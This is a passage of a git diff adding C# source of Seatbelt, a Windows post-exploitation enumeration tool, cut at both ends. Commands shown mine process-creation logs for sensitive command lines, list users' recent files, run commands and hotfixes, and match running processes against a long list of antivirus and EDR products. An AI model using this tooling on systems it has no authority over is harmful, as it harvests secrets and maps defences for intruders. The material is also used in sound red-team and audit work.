CommandDTOBase + { + public DateTime DateUtc { get; set; } + public string Description { get; set; } + } + + [CommandOutputType(typeof(PoweredOnEventsDTO))] + internal class PoweredOnEventsTextFormatter : TextFormatterBase + { + private string _currentDay = ""; + + public PoweredOnEventsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + + var dto = (PoweredOnEventsDTO)result; + if (_currentDay != dto.DateUtc.ToShortDateString()) + { + _currentDay = dto.DateUtc.ToShortDateString(); + WriteLine(); + } + + WriteLine($" {dto.DateUtc.ToLocalTime(),-23} : {dto.Description}"); + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ProcessCreationEventsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ProcessCreationEventsCommand.cs new file mode 100644 index 0000000..c36bf5d --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ProcessCreationEventsCommand.cs @@ -0,0 +1,99 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.Eventing.Reader; +using System.Text.RegularExpressions; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; + + +namespace Seatbelt.Commands.Windows.EventLogs +{ + internal class ProcessCreationEventsCommand : CommandBase + { + public override string Command => "ProcessCreationEvents"; + public override string Description => "Process creation logs (4688) with sensitive data."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ProcessCreationEventsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote()) + { + WriteError("Unable to collect. Must be an administrator."); + yield break; + } + + WriteVerbose($"Searching process creation logs (EID 4688) for sensitive data."); + WriteVerbose($"Format: Date(Local time),User,Command line.\n"); + + // Get our "sensitive" cmdline regexes from a common helper function. + var processCmdLineRegex = MiscUtil.GetProcessCmdLineRegex(); + + if (args.Length >= 1) + { + string allArgs = String.Join(" ", args); + processCmdLineRegex = new Regex[] { new Regex(allArgs, RegexOptions.IgnoreCase & RegexOptions.Multiline) }; + } + + var query = $"*[System/EventID=4688]"; + var logReader = ThisRunTime.GetEventLogReader("Security", query); + + for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) + { + var user = eventDetail.Properties[1].Value.ToString().Trim(); + var commandLine = eventDetail.Properties[8].Value.ToString().Trim(); + + foreach (var reg in processCmdLineRegex) + { + var m = reg.Match(commandLine); + if (m.Success) + { + yield return new ProcessCreationEventDTO( + eventDetail.TimeCreated?.ToUniversalTime(), + eventDetail.Id, + user, + commandLine + ); + } + } + } + } + } + + internal class ProcessCreationEventDTO : CommandDTOBase + { + public ProcessCreationEventDTO(DateTime? timeCreatedUtc, int eventId, string user, string match) + { + TimeCreatedUtc = timeCreatedUtc; + EventID = eventId; + User = user; + Match = match; + } + public DateTime? TimeCreatedUtc { get; set; } + public int EventID { get; set; } + public string User { get; set; } + public string Match { get; set; } + } + + [CommandOutputType(typeof(ProcessCreationEventDTO))] + internal class ProcessCreationEventTextFormatter : TextFormatterBase + { + public ProcessCreationEventTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ProcessCreationEventDTO)result; + + WriteLine($" {dto.TimeCreatedUtc?.ToLocalTime(),-22} {dto.User,-30} {dto.Match}"); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/SysmonEventsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/SysmonEventsCommand.cs new file mode 100644 index 0000000..6761f62 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/SysmonEventsCommand.cs @@ -0,0 +1,91 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Diagnostics.Eventing.Reader; +using System.Text.RegularExpressions; +using Seatbelt.Util; + + +namespace Seatbelt.Commands.Windows.EventLogs +{ + internal class SysmonEventCommand : CommandBase + { + public override string Command => "SysmonEvents"; + public override string Description => "Sysmon process creation logs (1) with sensitive data."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public SysmonEventCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote()) + { + WriteError("Unable to collect. Must be an administrator."); + yield break; + } + + WriteVerbose($"Searching Sysmon process creation logs (Sysmon ID 1) for sensitive data.\n"); + + // Get our "sensitive" cmdline regexes from a common helper function. + Regex[] processCmdLineRegex = MiscUtil.GetProcessCmdLineRegex(); + + if (args.Length >= 1) + { + string allArgs = String.Join(" ", args); + processCmdLineRegex = new Regex[] { new Regex(allArgs, RegexOptions.IgnoreCase & RegexOptions.Multiline) }; + } + + var query = "*[System/EventID=1]"; + EventLogReader logReader = null; + try + { + logReader = ThisRunTime.GetEventLogReader("Microsoft-Windows-Sysmon/Operational", query); + } + catch + { + WriteError("Unable to query Sysmon event logs, Sysmon likely not installed."); + yield break; + } + + var i = 0; + + for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) + { + ++i; + var commandLine = eventDetail.Properties[10].Value.ToString().Trim(); + if (commandLine != "") + { + foreach (var reg in processCmdLineRegex) + { + var m = reg.Match(commandLine); + if (m.Success) + { + var userName = eventDetail.Properties[12].Value.ToString().Trim(); + yield return new SysmonEventDTO() + { + TimeCreated = eventDetail.TimeCreated, + EventID = eventDetail.Id, + UserName = userName, + Match = m.Value + }; + } + } + } + } + } + } + + internal class SysmonEventDTO : CommandDTOBase + { + public DateTime? TimeCreated { get; set; } + public int EventID { get; set; } + public string UserName { get; set; } + public string Match { get; set; } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ExplorerMRUsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ExplorerMRUsCommand.cs new file mode 100644 index 0000000..5cb3dd2 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ExplorerMRUsCommand.cs @@ -0,0 +1,158 @@ +#nullable disable +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Security.Principal; +using Seatbelt.Interop; + + +namespace Seatbelt.Commands.Windows +{ + internal class ExplorerMRUsCommand : CommandBase + { + public override string Command => "ExplorerMRUs"; + public override string Description => "Explorer most recently used files (last 7 days, argument == last X days)"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; // don't think this is possible... unless DCOM is an option + + + public ExplorerMRUsCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var lastDays = 7; + + // parses recent file shortcuts via COM + if (args.Length == 1) + { + lastDays = int.Parse(args[0]); + } + else if (!Runtime.FilterResults) + { + lastDays = 30; + } + + foreach (var file in EnumRecentExplorerFiles(lastDays).OrderByDescending(e => ((ExplorerRecentFilesDTO)e).LastAccessDate)) + { + yield return file; + } + } + + private IEnumerable EnumRecentExplorerFiles(int lastDays) + { + var startTime = DateTime.Now.AddDays(-lastDays); + object shellObj = null; + + try + { + // WshShell COM object GUID + var shell = Type.GetTypeFromCLSID(new Guid("F935DC22-1CF0-11d0-ADB9-00C04FD58A0B")); + shellObj = Activator.CreateInstance(shell); + + var userFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + var dirs = Directory.GetDirectories(userFolder); + foreach (var userDir in dirs) + { + if (userDir.EndsWith("Public") || userDir.EndsWith("Default") || userDir.EndsWith("Default User") || + userDir.EndsWith("All Users")) + { + continue; + } + + string userName = null; + try + { + userName = File.GetAccessControl($"{userDir}\\NTUSER.DAT") + .GetOwner(typeof(SecurityIdentifier)) + .ToString(); + userName = Advapi32.TranslateSid(userName); + } + catch + { + var parts = userDir.Split('\\'); + userName = parts[parts.Length - 1]; + } + + var recentPath = $"{userDir}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"; + + string[] recentFiles = null; + + try + { + recentFiles = Directory.GetFiles(recentPath, "*.lnk", SearchOption.AllDirectories); + } + catch + { + continue; + } + + if (recentFiles.Length == 0) continue; + foreach (var recentFile in recentFiles) + { + var lastAccessed = File.GetLastAccessTime(recentFile); + + if (lastAccessed <= startTime) + { + continue; + } + + // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from + var shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile }); + var targetPath = (string)shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { }); + + if (targetPath.Trim() == "") + { + continue; + } + + yield return new ExplorerRecentFilesDTO() + { + Application = "Explorer", + User = userName, + Target = targetPath, + LastAccessDate = lastAccessed + }; + } + } + } + finally + { + if (shellObj != null) + { + Marshal.ReleaseComObject(shellObj); + } + } + } + } + + internal class ExplorerRecentFilesDTO : CommandDTOBase + { + public string Application { get; set; } + public string Target { get; set; } + public DateTime LastAccessDate { get; set; } + public string User { get; set; } + } + + [CommandOutputType(typeof(ExplorerRecentFilesDTO))] + internal class ExplorerRecentFileTextFormatter : TextFormatterBase + { + public ExplorerRecentFileTextFormatter(ITextWriter sink) : base(sink) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ExplorerRecentFilesDTO)result; + + WriteLine(" {0} {1} {2} {3}", dto.Application, dto.User, dto.LastAccessDate.ToString("yyyy-MM-dd"), dto.Target); + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ExplorerRunCommandCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ExplorerRunCommandCommand.cs new file mode 100644 index 0000000..ec5fdbe --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ExplorerRunCommandCommand.cs @@ -0,0 +1,96 @@ +#nullable disable +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + +namespace Seatbelt.Commands.Windows +{ + class ExplorerRunCommand + { + public string Key { get; set; } + public string Value { get; set; } + } + + internal class ExplorerRunCommandCommand : CommandBase + { + public override string Command => "ExplorerRunCommands"; + public override string Description => "Recent Explorer \"run\" commands"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ExplorerRunCommandCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // lists recently run commands via the RunMRU registry key + + var SIDs = ThisRunTime.GetUserSIDs(); + + foreach (var sid in SIDs) + { + if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) + { + continue; + } + + var recentCommands = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"); + if ((recentCommands == null) || (recentCommands.Count == 0)) + { + continue; + } + + var commands = new List(); + + foreach (var kvp in recentCommands) + { + var command = new ExplorerRunCommand(); + command.Key = kvp.Key; + command.Value = $"{kvp.Value}"; + commands.Add(command); + } + + yield return new ExplorerRunCommandDTO( + sid, + commands + ); + } + } + + internal class ExplorerRunCommandDTO : CommandDTOBase + { + public ExplorerRunCommandDTO(string sid, List commands) + { + Sid = sid; + Commands = commands; + } + public string Sid { get; set; } + public List Commands { get; set; } + } + + [CommandOutputType(typeof(ExplorerRunCommandDTO))] + internal class ExplorerRunCommandFormatter : TextFormatterBase + { + public ExplorerRunCommandFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ExplorerRunCommandDTO)result; + + WriteLine("\n {0} :", dto.Sid); + + foreach (var runCommand in dto.Commands) + { + WriteLine(" {0,-10} : {1}", runCommand.Key, runCommand.Value); + } + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/HotfixesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/HotfixesCommand.cs new file mode 100644 index 0000000..238bfc2 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/HotfixesCommand.cs @@ -0,0 +1,83 @@ +using System; +using System.Collections.Generic; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands.Windows +{ + internal class HotfixCommand : CommandBase + { + public override string Command => "Hotfixes"; + public override string Description => "Installed hotfixes (via WMI)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public HotfixCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // Lists installed hotfixes via WMI (the Win32_QuickFixEngineering class) + // This is similar to PowerShell's Get-Hotfix + // Note: This class returns only the updates supplied by Component Based Servicing (CBS). + // Updates supplied by Microsoft Windows Installer (MSI) or the Windows update site (https://update.microsoft.com) are not returned. + // Translation: this only shows (usually) _Windows_ updates, not all _Microsoft_ updates. For that use the "MicrosoftUpdates" command. + + WriteHost("Enumerating Windows Hotfixes. For *all* Microsoft updates, use the 'MicrosoftUpdates' command.\r\n"); + + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT * FROM Win32_QuickFixEngineering"); + var data = wmiData.Get(); + foreach (var hotfix in data) + { + DateTime? InstalledOn; + try + { + InstalledOn = Convert.ToDateTime(hotfix["InstalledOn"].ToString()).ToUniversalTime(); + } + catch + { + InstalledOn = null; + } + yield return new HotfixDTO( + hotfix["HotFixID"].ToString(), + InstalledOn, + hotfix["Description"].ToString(), + hotfix["InstalledBy"].ToString() + ); + } + } + } + + internal class HotfixDTO : CommandDTOBase + { + public HotfixDTO(string hotFixID, DateTime? installedOnUTC, string description, string installedBy) + { + HotFixID = hotFixID; + InstalledOnUTC = installedOnUTC; + Description = description; + InstalledBy = installedBy; + } + public string HotFixID { get; set; } + public DateTime? InstalledOnUTC { get; set; } + public string Description { get; set; } + public string InstalledBy { get; set; } + } + + [CommandOutputType(typeof(HotfixDTO))] + internal class HotfixTextFormatter : TextFormatterBase + { + public HotfixTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (HotfixDTO)result; + + WriteLine($" {dto.HotFixID,-10} {dto.InstalledOnUTC?.ToLocalTime(),-22} {dto.Description,-30} {dto.InstalledBy}"); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/IdleTimeCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/IdleTimeCommand.cs new file mode 100644 index 0000000..3139edc --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/IdleTimeCommand.cs @@ -0,0 +1,78 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Runtime.InteropServices; +using static Seatbelt.Interop.User32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + internal class IdleTimeCommand : CommandBase + { + public override string Command => "IdleTime"; + public override string Description => "Returns the number of seconds since the current user's last input."; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; // not possible + + + public IdleTimeCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var lastInputInfo = new LastInputInfo(); + lastInputInfo.Size = (uint)Marshal.SizeOf(lastInputInfo); + + if (GetLastInputInfo(ref lastInputInfo)) + { + var currentUser = System.Security.Principal.WindowsIdentity.GetCurrent().Name; + yield return new IdleTimeDTO( + currentUser, + ((uint) Environment.TickCount - lastInputInfo.Time) + ); + } + else + { + throw new Win32Exception(Marshal.GetLastWin32Error()); + } + } + } + + internal class IdleTimeDTO : CommandDTOBase + { + public IdleTimeDTO(string currentUser, uint milliseconds) + { + CurrentUser = currentUser; + Milliseconds = milliseconds; + } + public string CurrentUser { get; } + + public uint Milliseconds { get; } + } + + [CommandOutputType(typeof(IdleTimeDTO))] + internal class IdleTimeFormatter : TextFormatterBase + { + public IdleTimeFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (IdleTimeDTO)result; + + var t = TimeSpan.FromMilliseconds(dto.Milliseconds); + var idleTime = string.Format("{0:D2}h:{1:D2}m:{2:D2}s:{3:D3}ms", + t.Hours, + t.Minutes, + t.Seconds, + t.Milliseconds); + + WriteLine($" CurrentUser : {dto.CurrentUser}"); + WriteLine($" Idletime : {idleTime} ({dto.Milliseconds} milliseconds)\n"); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs new file mode 100644 index 0000000..55d9fab --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs @@ -0,0 +1,854 @@ +using System; +using System.Collections.Generic; +using System.Management; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using System.Linq; +using Seatbelt.Util; + + +namespace Seatbelt.Commands.Windows +{ + internal class InterestingProcessesCommand : CommandBase + { + public override string Command => "InterestingProcesses"; + public override string Description => "\"Interesting\" processes - defensive products and admin tools"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public InterestingProcessesCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10 + + // from https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1#L985-L1033 + var defensiveProcesses = new Dictionary() + { + { "mcshield", "McAfee"}, + { "windefend", "Windows Defender AV"}, + { "msascui", "Windows Defender AV"}, + { "msascuil", "Windows Defender AV"}, + { "msmpeng", "Windows Defender AV"}, + { "msmpsvc", "Windows Defender AV"}, + { "wrsa", "WebRoot AV"}, + { "savservice", "Sophos AV"}, + { "tmccsf", "Trend Micro AV"}, + { "symantec antivirus", "Symantec"}, + { "aexnsagent", "Symantec"}, + { "ccsvchst", "Symantec"}, + { "sisidsservice", "Symantec IDS"}, + { "sisipsservice", "Symantec IPS"}, + { "sisipsutil", "Symantec IPS"}, + { "kvoop", "Symantec DLP"}, + { "brkrprcs64", "Symantec DLP"}, + { "edpa", "Symantec DLP"}, + { "mbae", "MalwareBytes Anti-Exploit"}, + { "parity", "Bit9 application whitelisting"}, + { "cb", "Carbon Black behavioral analysis"}, + { "repux", "Carbon Black Defense"}, + { "repmgr", "Carbon Black Defense"}, + { "reputils", "Carbon Black Defense"}, + { "repwsc", "Carbon Black Defense"}, + { "cylancesvc", "Cylance Protect"}, + { "cylanceui", "Cylance Protect"}, + { "bds-vision", "BDS Vision behavioral analysis"}, + { "triumfant", "Triumfant behavioral analysis"}, + { "csfalcon", "CrowdStrike Falcon EDR"}, + { "csfalconcontainer", "CrowdStrike Falcon EDR"}, + { "csfalconservice", "CrowdStrike Falcon EDR"}, + { "ossec", "OSSEC intrusion detection"}, + { "tmpfw", "Trend Micro firewall"}, + { "dgagent", "Verdasys Digital Guardian DLP"}, + { "aawtray", "UNKNOWN"}, + { "ackwin32", "UNKNOWN"}, + { "ad-aware", "UNKNOWN"}, + { "adaware", "UNKNOWN"}, + { "advxdwin", "UNKNOWN"}, + { "agentsvr", "UNKNOWN"}, + { "agentw", "UNKNOWN"}, + { "alertsvc", "UNKNOWN"}, + { "alevir", "UNKNOWN"}, + { "alogserv", "UNKNOWN"}, + { "amon9x", "UNKNOWN"}, + { "anti-trojan", "UNKNOWN"}, + { "antivirus", "UNKNOWN"}, + { "ants", "UNKNOWN"}, + { "apimonitor", "UNKNOWN"}, + { "aplica32", "UNKNOWN"}, + { "apvxdwin", "UNKNOWN"}, + { "arr", "UNKNOWN"}, + { "atcon", "UNKNOWN"}, + { "atguard", "UNKNOWN"}, + { "atro55en", "UNKNOWN"}, + { "atupdater", "UNKNOWN"}, + { "atwatch", "UNKNOWN"}, + { "au", "UNKNOWN"}, + { "aupdate", "UNKNOWN"}, + { "auto-protect.nav80try", "UNKNOWN"}, + { "autodown", "UNKNOWN"}, + { "autoruns", "UNKNOWN"}, + { "autorunsc", "UNKNOWN"}, + { "autotrace", "UNKNOWN"}, + { "autoupdate", "UNKNOWN"}, + { "avconsol", "UNKNOWN"}, + { "ave32", "UNKNOWN"}, + { "avgcc32", "UNKNOWN"}, + { "avgctrl", "UNKNOWN"}, + { "avgemc", "UNKNOWN"}, + { "avgnt", "UNKNOWN"}, + { "avgrsx", "UNKNOWN"}, + { "avgserv", "UNKNOWN"}, + { "avgserv9", "UNKNOWN"}, + { "avguard", "UNKNOWN"}, + { "avgwdsvc", "UNKNOWN"}, + { "avgui", "UNKNOWN"}, + { "avgw", "UNKNOWN"}, + { "avkpop", "UNKNOWN"}, + { "avkserv", "UNKNOWN"}, + { "avkservice", "UNKNOWN"}, + { "avkwctl9", "UNKNOWN"}, + { "avltmain", "UNKNOWN"}, + { "avnt", "UNKNOWN"}, + { "avp", "UNKNOWN"}, + { "avp32", "UNKNOWN"}, + { "avpcc", "UNKNOWN"}, + { "avpdos32", "UNKNOWN"}, + { "avpm", "UNKNOWN"}, + { "avptc32", "UNKNOWN"}, + { "avpupd", "UNKNOWN"}, + { "avsched32", "UNKNOWN"}, + { "avsynmgr", "UNKNOWN"}, + { "avwin", "UNKNOWN"}, + { "avwin95", "UNKNOWN"}, + { "avwinnt", "UNKNOWN"}, + { "avwupd", "UNKNOWN"}, + { "avwupd32", "UNKNOWN"}, + { "avwupsrv", "UNKNOWN"}, + { "avxmonitor9x", "UNKNOWN"}, + { "avxmonitornt", "UNKNOWN"}, + { "avxquar", "UNKNOWN"}, + { "backweb", "UNKNOWN"}, + { "bargains", "UNKNOWN"}, + { "bd_professional", "UNKNOWN"}, + { "beagle", "UNKNOWN"}, + { "belt", "UNKNOWN"}, + { "besclient", "IBM BigFix"}, + { "bidef", "UNKNOWN"}, + { "bidserver", "UNKNOWN"}, + { "bipcp", "UNKNOWN"}, + { "bipcpevalsetup", "UNKNOWN"}, + { "bisp", "UNKNOWN"}, + { "blackd", "UNKNOWN"}, + { "blackice", "UNKNOWN"}, + { "blink", "UNKNOWN"}, + { "blss", "UNKNOWN"}, + { "bootconf", "UNKNOWN"}, + { "bootwarn", "UNKNOWN"}, + { "borg2", "UNKNOWN"}, + { "bpc", "UNKNOWN"}, + { "brasil", "UNKNOWN"}, + { "bs120", "UNKNOWN"}, + { "bundle", "UNKNOWN"}, + { "bvt", "UNKNOWN"}, + { "ccapp", "UNKNOWN"}, + { "ccevtmgr", "UNKNOWN"}, + { "ccpxysvc", "UNKNOWN"}, + { "cdp", "UNKNOWN"}, + { "cfd", "UNKNOWN"}, + { "cfgwiz", "UNKNOWN"}, + { "cfiadmin", "UNKNOWN"}, + { "cfiaudit", "UNKNOWN"}, + { "cfinet", "UNKNOWN"}, + { "cfinet32", "UNKNOWN"}, + { "claw95", "UNKNOWN"}, + { "claw95cf", "UNKNOWN"}, + { "clean", "UNKNOWN"}, + { "cleaner", "UNKNOWN"}, + { "cleaner3", "UNKNOWN"}, + { "cleanpc", "UNKNOWN"}, + { "cleanup", "UNKNOWN"}, + { "click", "UNKNOWN"}, + { "cmdagent", "UNKNOWN"}, + { "cmesys", "UNKNOWN"}, + { "cmgrdian", "UNKNOWN"}, + { "cmon016", "UNKNOWN"}, + { "connectionmonitor", "UNKNOWN"}, + { "cpd", "UNKNOWN"}, + { "cpf9x206", "UNKNOWN"}, + { "cpfnt206", "UNKNOWN"}, + { "ctrl", "UNKNOWN"}, + { "cv", "UNKNOWN"}, + { "cwnb181", "UNKNOWN"}, + { "cwntdwmo", "UNKNOWN"}, + { "cyprotect", "UNKNOWN"}, + { "cyupdate", "UNKNOWN"}, + { "cyserver", "UNKNOWN"}, + { "cytray", "UNKNOWN"}, + { "cyveraservice", "UNKNOWN"}, + { "datemanager", "UNKNOWN"}, + { "dcomx", "UNKNOWN"}, + { "defalert", "UNKNOWN"}, + { "defscangui", "UNKNOWN"}, + { "defwatch", "UNKNOWN"}, + { "deputy", "UNKNOWN"}, + { "divx", "UNKNOWN"}, + { "dgprompt", "UNKNOWN"}, + { "dgservice", "UNKNOWN"}, + { "dllcache", "UNKNOWN"}, + { "dllreg", "UNKNOWN"}, + { "doors", "UNKNOWN"}, + { "dpf", "UNKNOWN"}, + { "dpfsetup", "UNKNOWN"}, + { "dpps2", "UNKNOWN"}, + { "drwatson", "UNKNOWN"}, + { "drweb32", "UNKNOWN"}, + { "drwebupw", "UNKNOWN"}, + { "dssagent", "UNKNOWN"}, + { "dumpcap", "UNKNOWN"}, + { "dvp95", "UNKNOWN"}, + { "dvp95_0", "UNKNOWN"}, + { "ecengine", "UNKNOWN"}, + { "efpeadm", "UNKNOWN"}, + { "egui", "UNKNOWN"}, + { "ekrn", "UNKNOWN"}, + { "enstart64", "Encase (Forensics tool)"}, + { "emet_agent", "UNKNOWN"}, + { "emet_service", "UNKNOWN"}, + { "emsw", "UNKNOWN"}, + { "engineserver", "UNKNOWN"}, + { "ent", "UNKNOWN"}, + { "esafe", "UNKNOWN"}, + { "escanhnt", "UNKNOWN"}, + { "escanv95", "UNKNOWN"}, + { "espwatch", "UNKNOWN"}, + { "ethereal", "UNKNOWN"}, + { "etrustcipe", "UNKNOWN"}, + { "evpn", "UNKNOWN"}, + { "exantivirus-cnet", "UNKNOWN"}, + { "exe.avxw", "UNKNOWN"}, + { "expert", "UNKNOWN"}, + { "explore", "UNKNOWN"}, + { "f-agnt95", "UNKNOWN"}, + { "f-prot", "UNKNOWN"}, + { "f-prot95", "UNKNOWN"}, + { "f-stopw", "UNKNOWN"}, + { "fameh32", "UNKNOWN"}, + { "fast", "UNKNOWN"}, + { "fch32", "UNKNOWN"}, + { "fcagswd", "McAfee DLP Agent"}, + { "fcags", "McAfee DLP Agent"}, + { "fih32", "UNKNOWN"}, + { "findviru", "UNKNOWN"}, + { "firesvc", "McAfee Host Intrusion Prevention"}, + { "firetray", "UNKNOWN"}, + { "firewall", "UNKNOWN"}, + { "fnrb32", "UNKNOWN"}, + { "fp-win", "UNKNOWN"}, + { "fp-win_trial", "UNKNOWN"}, + { "fprot", "UNKNOWN"}, + { "frameworkservice", "UNKNOWN"}, + { "frminst", "UNKNOWN"}, + { "frw", "UNKNOWN"}, + { "fsaa", "UNKNOWN"}, + { "fsav", "UNKNOWN"}, + { "fsav32", "UNKNOWN"}, + { "fsav530stbyb", "UNKNOWN"}, + { "fsav530wtbyb", "UNKNOWN"}, + { "fsav95", "UNKNOWN"}, + { "fsgk32", "UNKNOWN"}, + { "fsm32", "UNKNOWN"}, + { "fsma32", "UNKNOWN"}, + { "fsmb32", "UNKNOWN"}, + { "gator", "UNKNOWN"}, + { "gbmenu", "UNKNOWN"}, + { "gbpoll", "UNKNOWN"}, + { "generics", "UNKNOWN"}, + { "gmt", "UNKNOWN"}, + { "guard", "UNKNOWN"}, + { "guarddog", "UNKNOWN"}, + { "hacktracersetup", "UNKNOWN"}, + { "hbinst", "UNKNOWN"}, + { "hbsrv", "UNKNOWN"}, + { "hijackthis", "UNKNOWN"}, + { "hipsvc", "UNKNOWN"}, + { "hipmgmt", "McAfee Host Intrusion Protection"}, + { "hotactio", "UNKNOWN"}, + { "hotpatch", "UNKNOWN"}, + { "htlog", "UNKNOWN"}, + { "htpatch", "UNKNOWN"}, + { "hwpe", "UNKNOWN"}, + { "hxdl", "UNKNOWN"}, + { "hxiul", "UNKNOWN"}, + { "iamapp", "UNKNOWN"}, + { "iamserv", "UNKNOWN"}, + { "iamstats", "UNKNOWN"}, + { "ibmasn", "UNKNOWN"}, + { "ibmavsp", "UNKNOWN"}, + { "icload95", "UNKNOWN"}, + { "icloadnt", "UNKNOWN"}, + { "icmon", "UNKNOWN"}, + { "icsupp95", "UNKNOWN"}, + { "icsuppnt", "UNKNOWN"}, + { "idle", "UNKNOWN"}, + { "iedll", "UNKNOWN"}, + { "iedriver", "UNKNOWN"}, + { "iface", "UNKNOWN"}, + { "ifw2000", "UNKNOWN"}, + { "inetlnfo", "UNKNOWN"}, + { "infus", "UNKNOWN"}, + { "infwin", "UNKNOWN"}, + { "init", "UNKNOWN"}, + { "intdel", "UNKNOWN"}, + { "intren", "UNKNOWN"}, + { "iomon98", "UNKNOWN"}, + { "istsvc", "UNKNOWN"}, + { "jammer", "UNKNOWN"}, + { "jdbgmrg", "UNKNOWN"}, + { "jedi", "UNKNOWN"}, + { "kavlite40eng", "UNKNOWN"}, + { "kavpers40eng", "UNKNOWN"}, + { "kavpf", "UNKNOWN"}, + { "kazza", "UNKNOWN"}, + { "keenvalue", "UNKNOWN"}, + { "kerio-pf-213-en-win", "UNKNOWN"}, + { "kerio-wrl-421-en-win", "UNKNOWN"}, + { "kerio-wrp-421-en-win", "UNKNOWN"}, + { "kernel32", "UNKNOWN"}, + { 